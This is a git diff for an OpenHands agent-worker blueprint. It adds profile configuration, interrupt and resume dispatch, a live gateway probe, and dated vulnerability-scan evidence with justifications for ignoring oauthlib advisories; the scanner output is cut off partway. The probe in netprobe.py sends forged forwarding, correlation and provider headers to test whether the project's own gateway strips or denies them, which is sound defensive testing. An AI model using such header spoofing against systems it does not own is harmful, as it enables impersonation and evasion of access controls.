+`b0742663250afe8eff4692ad7be26b1b894d9977c80154ee3fa71e878efbe880`. +Its original outputs record a fresh hashed Linux install, dependency/import +checks, native scanner controls and 245 repository tests with five skips. +The bounded static caller review retains dynamic reachability limitations; +it does not prove semantic unreachability. [PR #558](https://github.com/seathatflowsinourveins/native-agent-stack/pull/558) +was open when cited; publication supplies no merge, image, provider, observer +or task-quality acceptance. The +[historical independent review](../../../evidence/artifacts/openhands-oauthlib-review-535-head6a7b16-20260930/receipt.json) +published through merged [PR #537](https://github.com/seathatflowsinourveins/native-agent-stack/pull/537) +covers only `383ccc5b…`: corrected main-version comparison, Linux installation, +static OAuthlib callers and dated native install/scanner controls. Its receipt +SHA256 remains +`c7473105255cc38bac1da6c7a490f99d863b58d865e82529d221b2a2e759908f`. +It does not independently review the 832 closure. + +The [original main-lock reconciliation](evidence/main-reconcile-20260930.json) +and its `383ccc5b…` native outputs remain historical. That reconciliation +compared the selected versions with reviewed main (`f03f41c7`, lock `14e57b8d…`) +and corrected the earlier [wheel-lock repair](evidence/wheel-relock-20260930.json), +whose Click 8.3.3, pypdf 6.16.1 and Soup Sieve 2.9 selections unnecessarily +lowered reviewed main versions. The +[urllib3-only intermediate](evidence/urllib3-relock-20260930.json), `bd1cbbe8…`, +also remains historical and time-bound: its initial configured scan returned 0, +then its preserved rescan returned 1 for the newly published PyJWT advisory. +All original outputs retain their dates. + +The original SDK 1.50.0 upgrade recorded an isolated native `make build` and +**1,208 unchanged upstream tests passed** with the upstream lock unchanged; +those historical build/test outputs are not newly executed closure evidence. +A later native Grype scan of the pinned image returned **56 fixable +High/Critical package/advisory matches**. The +[scan and primary-source triage](evidence/image-triage-20260930.json) retain +possible identity collisions separately from bundled runtime findings. +**Image acceptance remains pending.** The shared native ordinary/frozen scan +split merged through [PR #546](https://github.com/seathatflowsinourveins/native-agent-stack/pull/546) +as `8fc86119…`; it supplies no image qualification. Gate A/P3, provider, +independent observer and task-quality qualification remain open; no whole-task +savings acceptance follows from this closure. No model call, gateway change, +new optional service or worker container was started by these relocks. + +The supported runtime installation consumes this lock inside the pinned +`linux/amd64` image: `install.sh` invokes `host.py install`, which runs +`install-container.sh` through Docker with the pinned platform and image +identity checks. That script uses `/usr/local/bin/python` with Python downloads +disabled. The [tagged Dockerfile](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile#L39) +selects Python 3.13.15. These entrypoints have no native macOS consumer of the +runtime lock; `install-grader.sh` uses the grader's separate upstream `uv.lock`. +No installer code change was required. This source trace is distinct from +starting or qualifying the image, which remains pending. + +`OPENHANDS_PROFILE` selects `coding` (default), `planning`, `research`, `review`, +`github-workflow`, `browser`, `orchestration`, or `completion-review`. +[The profile manifest](config/profiles.json) cites the native upstream examples. +Planning preserves `get_planning_agent`'s prompt, restricted tools and condenser; +BrowserToolSet is added only for the browser profile. Browser binaries, network +reachability and interaction acceptance still require independent qualification. +Skills remain native objects; role-relevant descriptions are exposed and native +`invoke_skill` supplies bodies/resources. GitHub profiles select the applicable +GitHub/debug/verification descriptions instead of the entire coding set. + +Orchestration uses native TaskToolSet with two concurrent tools and registered +coding, research and review children. Each child explicitly verifies its route, +max effort and Responses transport, receives its own tools/skills and usage ID, +and has a native 12-iteration definition. Children have no delegation tool. A +native PreToolUse hook refuses ambient agent types. The total attempt keeps the +existing 40-iteration, 1,200-second and container resource bounds. + +Completion review uses the native goal loop with at most **three audits** and a +separate `goal-judge` LLM/metrics object. The REST server's supported preload +passes its public `judge_llm` argument explicitly. The native judge calls +`completion`, while the SDK's API-mode dispatcher is `generate`; the owned +transport adapter forwards completion/acompletion through generate/agenerate +for Responses-configured LLMs. This is **our integration**, tested with patched +calls against the actual installed SDK; it is not unchanged upstream acceptance. +It preserves native serialization, call-context binding, retries, tool calls +and return contracts. Sampling parameters are refused before transport. + +The existing `start → wait → result` interface also exposes native `interrupt` +and `resume`. They preserve the same conversation ID, persistence, deadline and +serial reservation. Goal tasks use the native goal stop/resume routes, and wait +checks the persisted native goal status before collecting a terminal run. The +event API is used only for lifecycle; it does not certify task quality. + +```sh +rtk python3 blueprints/runtime-workers/openhands/dispatch.py interrupt --run-id "$OPENHANDS_RUN_ID" --arm control +rtk python3 blueprints/runtime-workers/openhands/dispatch.py resume --run-id "$OPENHANDS_RUN_ID" --arm control +``` + +P3's previous skeleton now has an explicit `netprobe.py p3 --out ... --run-id ...` +implementation: native streamed Responses tool call/replay, forged headers, +query denial, and a separate Chat correlation probe. It refuses execution +outside an owned container or on the engines-on arm. Its output leaves the +independent gateway verdict pending and never writes coordinator stage gates. +P0–P5 prerequisites are unchanged; this code has not run a live P3 call. + +Receipt schema **7** can ingest a host-only external observer bundle at +`/observer/{receipt.json,startup.json,events.jsonl}`. Files must be owned +0600 regular files outside worker mounts, bound to the run/arm/profile/window, +source/image pins and artifact hashes. Metadata must declare a pinned native +collector source and an independently isolated execution source; fixtures, +worker summaries and polling of the model-writable native event store are +refused. See `independent_observations` for the exact interface. This addition +provides **ingestion only**; no independent collector is installed or qualified. +The existing exclusions on `/run-output` and `/state/server` remain. +`task_passed` still requires the official grader. `evidence_complete` additionally +requires the independent observations, verified transport/skill activation, +gateway effort/usage, isolation and cleanup. Source declarations and hashes +check consistency, not truth: the coordinator must qualify the real observer. + +## Historical 1.49.6 baseline and qualification attempts + Round 3 provides a source-backed **native agent-server REST dispatch** for a frozen SWE-bench task with two explicit gateway arms. SDK/server **1.49.6** owns the agent loop. **SWE-bench 4.1.0** alone supplies the task verdict through the diff --git a/blueprints/runtime-workers/openhands/config/profiles.json b/blueprints/runtime-workers/openhands/config/profiles.json new file mode 100644 index 000000000..58bc80a31 --- /dev/null +++ b/blueprints/runtime-workers/openhands/config/profiles.json @@ -0,0 +1,17 @@ +{ + "schema_version": 1, + "source": "OpenHands/software-agent-sdk@dcf401af7a9a302ef92cb7d092e1df9bb659daa5 examples/01_standalone_sdk/{24_planning_agent_workflow,25_agent_delegation,38_browser_session_recording,54_goal_completion_loop}.py", + "default": "coding", + "profiles": { + "coding": {"role": "coding", "planning": false, "browser": false, "children": [], "goal_review": false}, + "planning": {"role": "orchestration", "planning": true, "browser": false, "children": [], "goal_review": false}, + "research": {"role": "research", "planning": false, "browser": false, "children": [], "goal_review": false}, + "review": {"role": "coding", "planning": false, "browser": false, "children": [], "goal_review": false}, + "github-workflow": {"role": "coding", "planning": false, "browser": false, "children": [], "goal_review": false, "skill_prefixes": ["gh-", "github", "verification-", "systematic-debugging"]}, + "browser": {"role": "extraction-caller", "planning": false, "browser": true, "children": [], "goal_review": false}, + "orchestration": {"role": "orchestration", "planning": false, "browser": false, "children": ["coding", "research", "review"], "goal_review": false}, + "completion-review": {"role": "coding", "planning": false, "browser": false, "children": [], "goal_review": true} + }, + "delegation": {"tool_concurrency_limit": 2, "child_max_iteration_per_run": 12}, + "goal": {"max_iterations": 3, "usage_id": "goal-judge"} +} diff --git a/blueprints/runtime-workers/openhands/dispatch.py b/blueprints/runtime-workers/openhands/dispatch.py index 052206fa5..e4d44e22c 100644 --- a/blueprints/runtime-workers/openhands/dispatch.py +++ b/blueprints/runtime-workers/openhands/dispatch.py @@ -16,7 +16,7 @@ import time import uuid -from recipe import read_json +from recipe import HERE, read_json from host import (AGENT_LIMITS, DEFAULT_PORT, docker_args, grade, logged_command, owned_port, private_file, result_exit, session_files, teardown_attempt, utc_now, verify_isolation, write_json) from receipt import create_receipt, read_bounded @@ -33,6 +33,8 @@ # name; models.py:95-99 defines TIMESTAMP_DESC. ERROR_EVENT_SEARCH = ("/events/search?kind=openhands.sdk.event.conversation_error.ConversationErrorEvent" "&sort_order=TIMESTAMP_DESC&limit=1") +GOAL_EVENT_SEARCH = ("/events/search?kind=openhands.sdk.event.conversation_state.ConversationStateUpdateEvent" + "&sort_order=TIMESTAMP_DESC&limit=100") # Plan E3: each native route has exactly one method. POST starts or # interrupts a conversation; GET only reads (conversation_router.py:163-228, # 257-287, 304-321; event_router.py:68-139). @@ -40,12 +42,32 @@ NATIVE_ROUTES = ( ("POST", r"/api/conversations"), ("POST", CONVERSATION + r"/interrupt"), + ("POST", CONVERSATION + r"/run"), + ("POST", CONVERSATION + r"/goal"), + ("POST", CONVERSATION + r"/goal/stop"), + ("POST", CONVERSATION + r"/goal/resume"), ("GET", CONVERSATION), ("GET", CONVERSATION + r"/agent_final_response"), ("GET", CONVERSATION + re.escape(ERROR_EVENT_SEARCH)), + ("GET", CONVERSATION + re.escape(GOAL_EVENT_SEARCH)), ) +def native_goal_status(conversation_id, port, headers): + """Lifecycle only: model-writable event-store output cannot certify quality.""" + page = api_request("GET", f"/api/conversations/{conversation_id}{GOAL_EVENT_SEARCH}", + port=port, headers=headers) + items = page.get("items") if isinstance(page, dict) else None + if isinstance(items, list): + for event in items: + if isinstance(event, dict) and event.get("key") == "goal": + value = event.get("value") + if (isinstance(value, dict) and type(value.get("active")) is bool + and value.get("status") in {"running", "complete", "capped", "interrupted"}): + return {"active": value["active"], "status": value["status"]} + raise ValueError("native_goal_status_unavailable") + + def server_url(port): return f"http://127.0.0.1:{owned_port(port)}" @@ -208,7 +230,7 @@ def finish_result(result, status, window): datasets = list(result.glob("dataset.*")) if len(datasets) != 1: raise ValueError("one_frozen_dataset_required") - prefix = Path.home() / ".local/share/codex-ecosystem/tools/openhands-1.49.6" + prefix = Path.home() / ".local/share/codex-ecosystem/tools" / ("openhands-" + read_json(HERE / "pins.json")["version"]) stage = "grader" checked = grade(prefix, result, datasets[0], task["instance_id"], window["run_id"]) except (Exception, KeyboardInterrupt): @@ -273,6 +295,32 @@ def execute(action, state, run_id, arm): response = api_request("POST", "/api/conversations", body=result / "start.json", port=port, headers=headers) conversation_id = str(uuid.UUID(response["id"])) status.update(status="running", conversation_id=conversation_id) + if window.get("profile") == "completion-review": + write_json(result / "goal-request.json", { + "objective": read_bounded(result / "input/task.txt"), "max_iterations": 3, + }) + api_request("POST", f"/api/conversations/{conversation_id}/goal", + body=result / "goal-request.json", port=port, headers=headers) + status["goal_review"] = True + elif action in {"interrupt", "resume"}: + expected = "running" if action == "interrupt" else "paused" + if status.get("status") != expected: + print(json.dumps({"run_id": run_id, "arm": arm, "receipt": str(receipt_path), + "failure_stage": action, "task_passed": False, "evidence_complete": False})) + return 3 + if json.loads(read_bounded(lock)) != {"run_id": run_id, "arm": arm}: + raise ValueError("recovery_requires_owned_serial_reservation") + conversation_id = str(uuid.UUID(status["conversation_id"])) + if action == "resume" and time.time() >= status["deadline"]: + raise TimeoutError("native_conversation_deadline") + endpoint = ("goal/stop" if action == "interrupt" else "goal/resume") if status.get("goal_review") else ( + "interrupt" if action == "interrupt" else "run") + api_request("POST", f"/api/conversations/{conversation_id}/{endpoint}", port=port, headers=headers) + status.update(status="paused" if action == "interrupt" else "running") + write_json(result / (action + ".json"), { + "action": action, "recorded_at": utc_now(), "native_conversation_preserved": True, + "deadline_extended": False, + }) elif action == "wait": if status.get("status") != "running": raise ValueError("running_attempt_required") @@ -287,6 +335,12 @@ def execute(action, state, run_id, arm): response = api_request("GET", f"/api/conversations/{conversation_id}", port=port, headers=headers) execution = response["execution_status"] if execution in TERMINAL: + if status.get("goal_review"): + goal = native_goal_status(conversation_id, port, headers) + if goal["active"]: + time.sleep(min(15, max(0, status["deadline"] - time.time()))) + continue + status["goal_status"] = goal["status"] status.update(status="terminal", execution_status=execution) window["finished_at"] = utc_now() if arm == "engines-on": @@ -326,7 +380,7 @@ def execute(action, state, run_id, arm): if result.is_dir() and result.resolve() == result.absolute(): write_json(receipt_path, receipt) write_json(result / "status.json", {**status, "status": "failed", "failure_stage": stage}) - if owns_lock or action in {"wait", "result"}: + if owns_lock or action in {"wait", "result", "interrupt", "resume"}: try: stop_server(result, status) except (OSError, ValueError, subprocess.SubprocessError): @@ -345,7 +399,7 @@ def execute(action, state, run_id, arm): def main(): parser = argparse.ArgumentParser(description=__doc__) - parser.add_argument("action", choices=("start", "wait", "result")) + parser.add_argument("action", choices=("start", "wait", "result", "interrupt", "resume")) parser.add_argument("--run-id", default=os.environ.get("OPENHANDS_RUN_ID"), required="OPENHANDS_RUN_ID" not in os.environ) parser.add_argument("--arm", choices=("control", "engines-on"), default=os.environ.get("OPENHANDS_ARM", "control")) args = parser.parse_args() diff --git a/blueprints/runtime-workers/openhands/e2e/netprobe.py b/blueprints/runtime-workers/openhands/e2e/netprobe.py index 637caac80..b9c9be4d9 100644 --- a/blueprints/runtime-workers/openhands/e2e/netprobe.py +++ b/blueprints/runtime-workers/openhands/e2e/netprobe.py @@ -326,8 +326,8 @@ def evaluate(gw, internal, upstream_port, addresses, ports, server, subnets): return {"p0": p0, "p1": p1, "p2": p2, "passed": p0["passed"] and p1["passed"] and p2["passed"]} -def p3_control_call(*_args, **_kwargs): - """Skeleton only; P3 is a live model call and is never run by this recipe yet. +def p3_control_call(environment, dispatch_id): + """Live native SDK probe; entry-gateway/proxy observations remain independent. From a throwaway container on -int with the recipe's LLM config: one SDK call with one tool definition through gw to the control arm, also @@ -345,8 +345,80 @@ def p3_control_call(*_args, **_kwargs): its status, must carry the run id. The streamed tool call must parse and its usage equal the row; record the client peer the gateway logged (F10) and the proxy access log lines. + Source: SDK@dcf401a llm.generate and llm/message.py Responses tool-call + replay and sdk/tool/tool.py ToolDefinition. This is local integration + glue, not an unchanged upstream acceptance test. It never writes P3 gates. """ - raise NotImplementedError("p3_is_a_documented_skeleton_not_run") + if not Path("/.dockerenv").exists() or environment.get("OPENHANDS_OWNED_CONTAINER") != "1": + raise ValueError("p3_requires_owned_container") + import sys + sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + from openhands.sdk import LLM, Message, TextContent + from openhands.sdk.tool import Action, Observation, ToolDefinition + from worker import headers_for_call, worker_llm_config + from recipe import arm_config + if not re.fullmatch(r"rw-openhands-[a-z0-9-]{1,64}", dispatch_id): + raise ValueError("owned_run_id_required") + if environment.get("OPENHANDS_ARM", "control") != "control": + raise ValueError("p3_requires_control_arm") + fields = worker_llm_config(environment, dispatch_id) + class RouteProbeAction(Action): + text: str + class RouteProbeObservation(Observation): + pass + class RouteProbeTool(ToolDefinition[RouteProbeAction, RouteProbeObservation]): + @classmethod + def create(cls, *_args, **_kwargs): + return [cls(description="Echo the probe token verbatim.", + action_type=RouteProbeAction, observation_type=RouteProbeObservation)] + tool = RouteProbeTool.create()[0] + forged = {**fields["extra_headers"], "X-Correlation-Id": "p3-forged-correlation", + "X-Forwarded-For": "192.0.2.1", "x-omniroute-provider": "p3-forged-provider"} + llm = LLM(**fields) + streamed = [] + messages = [Message(role="user", content=[TextContent(text="Call route_probe with text P3_OK exactly once.")])] + first = llm.generate(messages=messages, tools=[tool], tool_choice="required", + extra_headers=headers_for_call(forged), on_token=lambda *_: streamed.append(1)) + calls = first.message.tool_calls or [] + if len(calls) != 1 or calls[0].name != tool.name: + raise ValueError("native_streamed_tool_call_missing") + action = json.loads(calls[0].arguments) + if action.get("text") != "P3_OK": + raise ValueError("native_tool_arguments_mismatch") + second = llm.generate( + messages=[*messages, first.message, Message(role="tool", tool_call_id=calls[0].id, + content=[TextContent(text="P3_OK")])], + tools=[tool], tool_choice="none", extra_headers=headers_for_call(forged), + on_token=lambda *_: streamed.append(1), + ) + result_text = "".join(getattr(item, "text", "") for item in second.message.content) + connection = http.client.HTTPConnection(PROXY_HOST, 8081, timeout=HTTP_TIMEOUT) + try: + connection.request("POST", "/v1/responses?p3=must-be-denied", body=b"{}", + headers={"Content-Type": "application/json", **forged}) + denied = connection.getresponse() + denial = {"status": denied.status, "route_class": route_class(denied.getheader(ROUTE_CLASS))} + finally: + connection.close() + # Responses ignores caller correlation IDs at these gateway pins. A chat + # probe makes the proxy's fixed correlation replacement independently visible. + connection = http.client.HTTPConnection(PROXY_HOST, 8081, timeout=180) + try: + connection.request("POST", "/v1/chat/completions", body=json.dumps({ + "model": arm_config("control")["requested_model"], "reasoning_effort": "max", + "messages": [{"role": "user", "content": "Reply P3_OK."}], "stream": False, + "max_completion_tokens": 64, + }), headers={"Content-Type": "application/json", **forged}) + chat = connection.getresponse() + chat_status = chat.status + finally: + connection.close() + return {"model": fields["model"], "api_mode": fields["api_mode"], + "reasoning_effort": fields["reasoning_effort"], "stream_requested": fields["stream"], + "tool_call_parsed": True, "tool_result_replayed": True, "stream_events": len(streamed), + "native_metrics": llm.metrics.model_dump(mode="json"), "query_denial": denial, + "chat_probe_status": chat_status, "independent_gateway_verdict": "pending", + "sdk_probe_passed": bool(streamed) and "P3_OK" in result_text and denial["status"] == 403} def run_http(observations, key, expected): @@ -424,17 +496,18 @@ def write_observations(path, observations): def main(argv=None): parser = argparse.ArgumentParser(description=__doc__.split("\n", 1)[0]) - parser.add_argument("mode", choices=("gw", "int")) + parser.add_argument("mode", choices=("gw", "int", "p3")) parser.add_argument("--out", required=True, type=Path) parser.add_argument("--upstream-port", type=int, choices=UPSTREAM_PORTS) parser.add_argument("--server") + parser.add_argument("--run-id") parser.add_argument("--addresses", default="") parser.add_argument("--ports", default="") parser.add_argument("--subnets", default="") args = parser.parse_args(argv) if args.mode == "gw": expected = p0_expected(args.upstream_port) - else: + elif args.mode == "int": dns_expected(args.server) addresses, ports = parse_addresses(args.addresses), parse_ports(args.ports) subnets = parse_subnets(args.subnets) @@ -442,6 +515,9 @@ def main(argv=None): try: if args.mode == "gw": return run_http(observations, "p0", expected) + if args.mode == "p3": + observations["p3"] = p3_control_call(dict(os.environ), args.run_id) + return 0 if observations["p3"]["sdk_probe_passed"] else 1 return (run_http(observations, "p1", P1_EXPECTED) or run_p2(observations, addresses, ports, args.server, subnets)) finally: diff --git a/blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json b/blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json new file mode 100644 index 000000000..888293d04 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json @@ -0,0 +1,48 @@ +{ + "schema_version": 1, + "date": "2026-09-30", + "kind": "native_image_scan_and_source_triage", + "status": "full_image_acceptance_pending", + "image": "ghcr.io/openhands/agent-server@sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc", + "platform": "linux/amd64", + "source": { + "repository": "https://github.com/OpenHands/software-agent-sdk", + "release": "v1.50.0", + "commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "files": ["openhands-agent-server/openhands/agent_server/docker/Dockerfile", "openhands-agent-server/openhands/agent_server/docker/build.py"] + }, + "native_scan": { + "tool": "anchore/grype", + "version": "0.119.0", + "source": "https://github.com/anchore/grype/releases/tag/v0.119.0", + "command": "rtk proxy grype registry:ghcr.io/openhands/agent-server@sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc --platform linux/amd64 --output json", + "exit_code": 0, + "exit_code_meaning": "Report generation succeeded. No severity threshold was supplied; this is not a passing image gate.", + "raw_report_bytes": 18299957, + "raw_report_sha256": "c8bac4b5732375ed173decba0a4acc57bf0bb79cce2a6571d9c602deaabcc52e", + "matches": 1497, + "severity_match_counts": {"Critical": 32, "High": 175, "Medium": 228, "Low": 64, "Negligible": 780, "Unknown": 218}, + "fixable_high_or_critical_matches": 56, + "counting_scope": "Scanner package/advisory matches, not unique vulnerabilities or demonstrated exploits. Raw public-image report retained privately." + }, + "triage": [ + {"matches": 18, "classification": "apparent_package_identity_collisions", "location": "/openhands/.openvscode-server/extensions/*/package.json", "finding": "Six upstream manifests identify VS Code extensions named handlebars/npm/grunt/ini/json/diff. Image-byte confirmation remains required before any exclusion.", "source": "https://github.com/gitpod-io/openvscode-server/tree/openvscode-server-v1.109.5/extensions", "excluded": false}, + {"matches": 21, "classification": "real_openvscode_runtime_artifacts", "finding": "Bundled Node 22.21.1 and node_modules predate advisory fixes. Reachability and permission-model preconditions were not established.", "sources": ["https://nodejs.org/en/blog/release/v22.22.0", "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases"]}, + {"matches": 16, "classification": "embedded_go_modules", "finding": "Modules are embedded in containerd/ctr/rootlesskit/Buildx binaries. Advisory reachability is unverified.", "sources": ["https://github.com/grpc/grpc-go/security/advisories/GHSA-vp52-pcj8-j9qc", "https://github.com/grpc/grpc-go/security/advisories/GHSA-2v4p-qf9q-27wj"]}, + {"matches": 1, "classification": "system_python", "finding": "Dockerfile pins Python 3.13.15. Its tarfile source precedes the linked hardlink-target backport; no blanket backport dismissal is justified.", "sources": ["https://github.com/python/cpython/blob/v3.13.15/Lib/tarfile.py", "https://github.com/python/cpython/pull/157192", "https://mail.python.org/archives/list/security-announce@python.org/thread/EFJWGAZJA56AKSBR2WHMHQZO7RRLZPRH/"]} + ], + "remediation_decision": { + "full_unmodified_rebuild_is_evidenced_fix": false, + "reason": "The pinned Dockerfile retains Python 3.13.15 and downloads OpenVSCode v1.109.5 with its own bundled Node. Updating global Node/npm does not update that bundled runtime.", + "supported_inputs": ["BASE_IMAGE", "DEBIAN_SNAPSHOT", "NPM_VERSION", "RELEASE_TAG", "RELEASE_ORG", "INSTALL_CAPABILITIES", "INSTALL_ACP_PROVIDERS"], + "narrower_capability_image": "INSTALL_CAPABILITIES=browser can omit vscode and nested Docker through native upstream controls, but retains the Python issue and requires separate feature-set acceptance.", + "next_gate": "Maintained replacement image/source inputs, native rescan and independent runtime/lifecycle/quality acceptance. No image promotion from this scan." + }, + "delegation": { + "role": "stack-researcher", + "model_effort": "Astra/Max", + "trigger": "Consequential image acceptance decision and conflicting maintained-release versus fixable High/Critical evidence.", + "result": "No supported full-image remediation accepted; source-backed triage retained." + }, + "boundaries": ["No OpenHands worker container/server/model run was started.", "Native SDK tests remain valid within their recorded scope; they do not qualify this full image.", "No advisory exclusions, upstream issues, source modifications or global host/gateway changes were made."] +} diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt new file mode 100644 index 000000000..414647553 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt @@ -0,0 +1,9 @@ +Starting filesystem walk for root: / +Scanned /control.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 20.725125ms elapsed, 20.725195ms wall time +GHSA-hj66-6f7g-4r5v and 1 alias have been filtered out because: oauthlib 0.6.1 through 3.3.1 (fixed in 4.0.0): RevocationEndpoint wraps its response in the request's callback parameter only when constructed with enable_jsonp=True (oauthlib/oauth2/rfc6749/endpoints/revocation.py:72-73 and 81-82 in 3.3.1); oauthlib's pre-configured servers never pass it. Two allowed locks pin 3.3.1: the OpenHands recipe lock and the frozen, evaluation-only Lumibot lock (run offline under bwrap). A text search of one hash-verified artifact per requirement of both locks found no enable_jsonp or create_revocation_response and no importer of oauthlib's endpoints, grant types or servers: oauthlib is imported only by requests-oauthlib 2.0.0 (client classes, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class); every other RevocationEndpoint is Authlib's own class, and Authlib does not import oauthlib. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: the OpenHands lock was relocked onto PyJWT 2.14.0 on 2026-09-30 and still pins oauthlib 3.3.1; as of 2026-09-30, oauthlib 4.0.0 (PyPI, 2026-09-28T06:01Z) was inside the 7-day window the upstream workspace's exclude-newer applies (until 2026-10-05T06:01:19Z), so the relock onto it follows, tracked in #518 (owner: bc, session native-agent-stack-bc; earliest 2026-10-05T18:40:43Z, when PyJWT 2.15.1 has left its window too; due 2026-10-08), and in the same change deletes the OpenHands entry of IGNORE_ALLOWED_LOCKS, whose sha256 pin fails any change to that lock. The Lumibot lock stays frozen on 3.3.1, so on 2026-10-13 renew this ignore for that lock alone with a new dated reason, or delete that lock. +GHSA-xpv3-w29h-x7cv and 1 alias have been filtered out because: oauthlib >= 3.0.0, < 4.0.0 (fixed in 4.0.0; the scanned locks pin 3.3.1): an oauthlib authorization server compares the PKCE code_verifier with == (code_challenge_method_s256 at oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49 and code_challenge_method_plain at :61, in 3.3.1), called only from AuthorizationCodeGrant.validate_token_request (line 506) when a token endpoint handles a request. Neither allowed lock (the OpenHands recipe lock and the frozen Lumibot lock) runs an oauthlib authorization server: in a text search of one hash-verified artifact per requirement of both locks, oauthlib is imported only by requests-oauthlib 2.0.0 (WebApplicationClient, LegacyApplicationClient, the oauth1 Client, token errors and helpers) and, in the Lumibot lock, kubernetes 36.0.3 (an exception class), and nothing imports oauthlib's grant types, endpoints or servers; the PKCE code in openhands-sdk, requests-oauthlib and google-auth-oauthlib only generates a verifier as a client. Evidence: evidence/receipts/osv-oauthlib-pyjwt-reachability-20260929.json and, for the OpenHands lock at its relocked sha256, evidence/receipts/osv-openhands-pyjwt-relock-20260930.json. Expiry plan: as for GHSA-hj66-6f7g-4r5v; the OpenHands relock onto oauthlib 4.0.0 removes that lock's pin, and on 2026-10-13 this ignore is renewed for the frozen Lumibot lock alone or that lock is deleted. +Filtered 2 vulnerabilities from output +/ci-config.toml has unused ignores: + - GHSA-8mgp-746c-j5xp + - GHSA-h35f-9h28-mq5c diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt new file mode 100644 index 000000000..4032aa91e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt @@ -0,0 +1,1154 @@ +{ + "results": [ + { + "source": { + "path": "/control.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "litellm", + "version": "1.93.0", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-3cv6-jpf6-8222" + ], + "aliases": [ + "CVE-2026-84377", + "GHSA-3cv6-jpf6-8222" + ], + "max_severity": "6.5" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-3cv6-jpf6-8222/GHSA-3cv6-jpf6-8222.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "litellm", + "purl": "pkg:pypi/litellm" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.88.6" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1.0", + "0.1.1", + "0.1.2", + "0.1.201", + "0.1.202", + "0.1.203", + "0.1.204", + "0.1.205", + "0.1.206", + "0.1.207", + "0.1.208", + "0.1.209", + "0.1.210", + "0.1.211", + "0.1.212", + "0.1.213", + "0.1.214", + "0.1.215", + "0.1.216", + "0.1.217", + "0.1.218", + "0.1.219", + "0.1.220", + "0.1.221", + "0.1.222", + "0.1.223", + "0.1.224", + "0.1.225", + "0.1.226", + "0.1.227", + "0.1.228", + "0.1.229", + "0.1.2291", + "0.1.230", + "0.1.231", + "0.1.232", + "0.1.233", + "0.1.234", + "0.1.235", + "0.1.236", + "0.1.237", + "0.1.238", + "0.1.3", + "0.1.31", + "0.1.32", + "0.1.330", + "0.1.331", + "0.1.34", + "0.1.341", + "0.1.343", + "0.1.345", + "0.1.347", + "0.1.348", + "0.1.349", + "0.1.351", + "0.1.352", + "0.1.353", + "0.1.354", + "0.1.356", + "0.1.360", + "0.1.361", + "0.1.362", + "0.1.363", + "0.1.364", + "0.1.365", + "0.1.366", + "0.1.367", + "0.1.368", + "0.1.369", + "0.1.370", + "0.1.371", + "0.1.372", + "0.1.373", + "0.1.375", + "0.1.376", + "0.1.379", + "0.1.380", + "0.1.381", + "0.1.383", + "0.1.384", + "0.1.385", + "0.1.386", + "0.1.387", + "0.1.388", + "0.1.389", + "0.1.392", + "0.1.393", + "0.1.394", + "0.1.398", + "0.1.399", + "0.1.400", + "0.1.401", + "0.1.402", + "0.1.403", + "0.1.404", + "0.1.405", + "0.1.410", + "0.1.411", + "0.1.412", + "0.1.415", + "0.1.419", + "0.1.420", + "0.1.421", + "0.1.422", + "0.1.424", + "0.1.425", + "0.1.426", + "0.1.429", + "0.1.433", + "0.1.434", + "0.1.435", + "0.1.436", + "0.1.437", + "0.1.438", + "0.1.439", + "0.1.440", + "0.1.441", + "0.1.442", + "0.1.443", + "0.1.444", + "0.1.445", + "0.1.446", + "0.1.447", + "0.1.448", + "0.1.449", + "0.1.450", + "0.1.451", + "0.1.452", + "0.1.456", + "0.1.457", + "0.1.459", + "0.1.460", + "0.1.461", + "0.1.464", + "0.1.465", + "0.1.475", + "0.1.477", + "0.1.479", + "0.1.480", + "0.1.481", + "0.1.482", + "0.1.486", + "0.1.487", + "0.1.488", + "0.1.490", + "0.1.491", + "0.1.492", + "0.1.493", + "0.1.494", + "0.1.495", + "0.1.497", + "0.1.500", + "0.1.501", + "0.1.504", + "0.1.507", + "0.1.508", + "0.1.509", + "0.1.510", + "0.1.511", + "0.1.512", + "0.1.516", + "0.1.517", + "0.1.518", + "0.1.520", + "0.1.525", + "0.1.530", + "0.1.531", + "0.1.533", + "0.1.535", + "0.1.536", + "0.1.537", + "0.1.538", + "0.1.544", + "0.1.546", + "0.1.547", + "0.1.548", + "0.1.549", + "0.1.550", + "0.1.551", + "0.1.552", + "0.1.553", + "0.1.554", + "0.1.555", + "0.1.556", + "0.1.557", + "0.1.558", + "0.1.559", + "0.1.560", + "0.1.561", + "0.1.562", + "0.1.563", + "0.1.567", + "0.1.568", + "0.1.569", + 